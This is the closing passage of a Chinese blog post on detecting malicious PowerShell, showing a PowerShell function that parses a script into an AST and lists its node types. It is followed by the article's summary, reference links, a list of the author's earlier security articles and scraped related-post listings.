{param([Parameter(Mandatory)]   # 强制参数[System.String]$str      # 执行ps文件名称)# 构建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的内容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 创建Scipt代码块# 报错:表达式或语句中包含意外的标记# 原因:Create需要保证PS代码正确# $code = [ScriptBlock]::Create($content)$tokens = $null$errors = $null$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)Write-Output $code# 提取AST$code.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 递归可视化树function Visualize-Tree($Id){# 每级缩进$hierarchy[$id] | ForEach-Object {# 获取当前AST对象的id$newid = $_.GetHashCode()# 递归其子节点(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根对象开始可视化Visualize-Tree -id $code.GetHashCode()Write-Output $resultreturn $result
}Convert-CodeToAst -str .\data\beacon

六.总结

写到这里这篇文章就介绍介绍,希望对您有所帮助。

  • 一.Powershell基础知识
    1.高威胁
    2.基础语法
    3.Bypass
  • 二.powershell.one
    1.概念
    2.访问AST
  • 三.Tokenizing PowerShell Scripts
    1.Token多彩的世界
    2.PSParser 概述
    3.Tokenizing PowerShell
  • 四.Token提取实例
    1.基础用法
    (1) 提取AST
    (2) 提取Token
    (3) 提取变量和命令列表
    2.批量分析
    3.提取token对应的text
  • 五.自动提取Powershell的AST和Token实例
  • 六.总结

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2022-03-20 夜于武汉 http://blog.csdn.net/eastmount/ )


能看到这里的读者,我说声诚恳的感谢。作者再给一个福利,推荐三个Powershell宝藏网站。

  • https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree
  • https://github.com/lzybkr/ShowPSAst
  • https://github.com/thewhiteninja/deobshell
  • https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer
  • https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.psparser.tokenize?view=powershellsdk-7.0.0


自学篇(链接直接跳转到正文):

  • [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
  • [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
  • [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
  • [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
  • [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
  • [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
  • [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
  • [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
  • [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
  • [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
  • [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
  • [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
  • [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
  • [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
  • [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
  • [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
  • [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
  • [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
  • [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
  • [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
  • [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
  • [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
  • [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
  • [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
  • [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
  • [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
  • [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
  • [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
  • [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
  • [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
  • [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
  • [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
  • [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
  • [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
  • [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
  • [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
  • [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
  • [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
  • [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
  • [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
  • [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
  • [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
  • [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
  • [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
  • [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
  • [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
  • [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
  • [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及常用DOS命令
  • [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
  • [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
  • [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
  • [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
  • [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
  • [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
  • [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
  • [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
  • [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
  • [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
  • [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
  • [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
  • [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
  • [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
  • [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
  • [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
  • [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
  • [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
  • [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
  • [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
  • [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
  • [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
  • [网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
  • [网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
  • [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
  • [网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
  • [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
  • [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
  • [网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
  • [网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
  • [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
  • [网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
  • [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
  • [网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
  • [网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结
  • [网络安全自学篇] 八十四.《Windows hk编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解
  • [网络安全自学篇] 八十五.《Windows hk编程技术详解》之注入技术详解(全局钩子、远线程钩子、突破Session 0注入、APC注入)
  • [网络安全自学篇] 八十六.威胁情报分析之Python抓取FreeBuf网站APT文章(上)
  • [网络安全自学篇] 八十七.恶意代码检测技术详解及总结
  • [网络安全自学篇] 八十八.基于机器学习的恶意代码检测技术详解
  • [网络安全自学篇] 八十九.PE文件解析之通过Python获取时间戳判断软件来源地区
  • [网络安全自学篇] 九十.远控木马详解及APT攻击中的远控
  • [网络安全自学篇] 九十一.阿里云搭建LNMP环境及实现PHP自定义网站IP访问 (1)
  • [网络安全自学篇] 九十二.《Windows hk编程技术详解》之病毒启动技术创建进程API、突破SESSION0隔离、内存加载详解(3)
  • [网络安全自学篇] 九十三.《Windows hk编程技术详解》之木马开机自启动技术(注册表、计划任务、系统服务)
  • [网络安全自学篇] 九十四.《Windows hk编程技术详解》之提权技术(令牌权限提升和Bypass UAC)
  • [网络安全自学篇] 九十五.利用XAMPP任意命令执行漏洞提升权限(CVE-2020-11107)

[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取相关推荐

  1. [网络安全提高篇] 一一九.恶意软件动态分析经典沙箱Cape的安装和基础用法详解

    终于忙完初稿,开心地写一篇博客. "网络安全提高班"新的100篇文章即将开启,包括Web渗透.内网渗透.靶场搭建.CVE复现.攻击溯源.实战及CTF总结,它将更加聚焦,更加深入,也 ...

  2. [系统安全] 四十六.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量的用法

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  3. [系统安全] 四十二.Powershell恶意代码检测系列 (4)论文总结及抽象语法树(AST)提取

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  4. [网络安全提高篇] 一一八.恶意软件静态分析经典工具Capa批量提取静态特征和ATTCK技战术

    终于忙完初稿,开心地写一篇博客. "网络安全提高班"新的100篇文章即将开启,包括Web渗透.内网渗透.靶场搭建.CVE复现.攻击溯源.实战及CTF总结,它将更加聚焦,更加深入,也 ...

  5. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  6. [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及防御机理

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  7. [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权和功能模块

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  8. [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  9. [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

最新文章

  1. 如何将一个字典转换为玲阶矩阵_基础渲染系列(一)图形学的基石——矩阵
  2. Prototype Pattern(原型模式)
  3. webstorm 设置jsp支持
  4. netflix会员和非会员的区别_Netflix开放10部作品免费给非会员试看
  5. javamail程序源码_JavaMail可能是邪恶的(并迫使您重新启动应用程序服务器)
  6. Bokeh——交互式可视化库
  7. leetcode1119. 删去字符串中的元音 小学难度
  8. 统计测序数据reads数和碱基数的几种方法
  9. visio2013复制到word有多余白边_Visio虚线复制到word中变为实线的解决办法
  10. chrome扩展——Postman
  11. jQuery选择器的的优点
  12. ABP理论学习之发布说明
  13. Atitit 信息管理概论 艾提拉总结 信息的采集 信息格式转换 信息整合 信息的tag标注 信息的结构化 信息检索,,索引 压缩 信息分析 汇总 第1章 信息管理的基本概念 第
  14. 用matlab对微分方程组进行仿真,基于MATLAB的微分方程组的数值计算
  15. oracle财务模块设置影响,Oracle 财务模块介绍.ppt
  16. 华为云主机被植入挖矿,主机变肉鸡破解实录。
  17. BLE Mesh中的Sequence number和IV Index
  18. 宇枫资本女性如何理财致富
  19. C++ 使用Intel Media SDK 实现H.264硬编码
  20. 基于FSR柔性薄膜压力传感器的智能鞋改装垫

热门文章

  1. Toad for Oracle工具的使用(二)
  2. 2017-2018-2 20179215 《密码与安全新技术》第5周作业
  3. JavaScript-创建日志调试对象(面向对象实例)
  4. java按照字节切割字符串,解决汉字的问题
  5. 线性模型(3):Logistic Regression
  6. 启动多线程的两种情况比较
  7. 【转载自codeproject】Another Look At IDisposable
  8. python opencv 录制视频_OpenCV Python 录制视频
  9. appiumpython框架实例_Appium+python 框架 (二)
  10. Java黑皮书课后题第5章:5.26(计算e)下面的数列可以近似计算e,编写程序显示i=10000、20000、30000…100000时值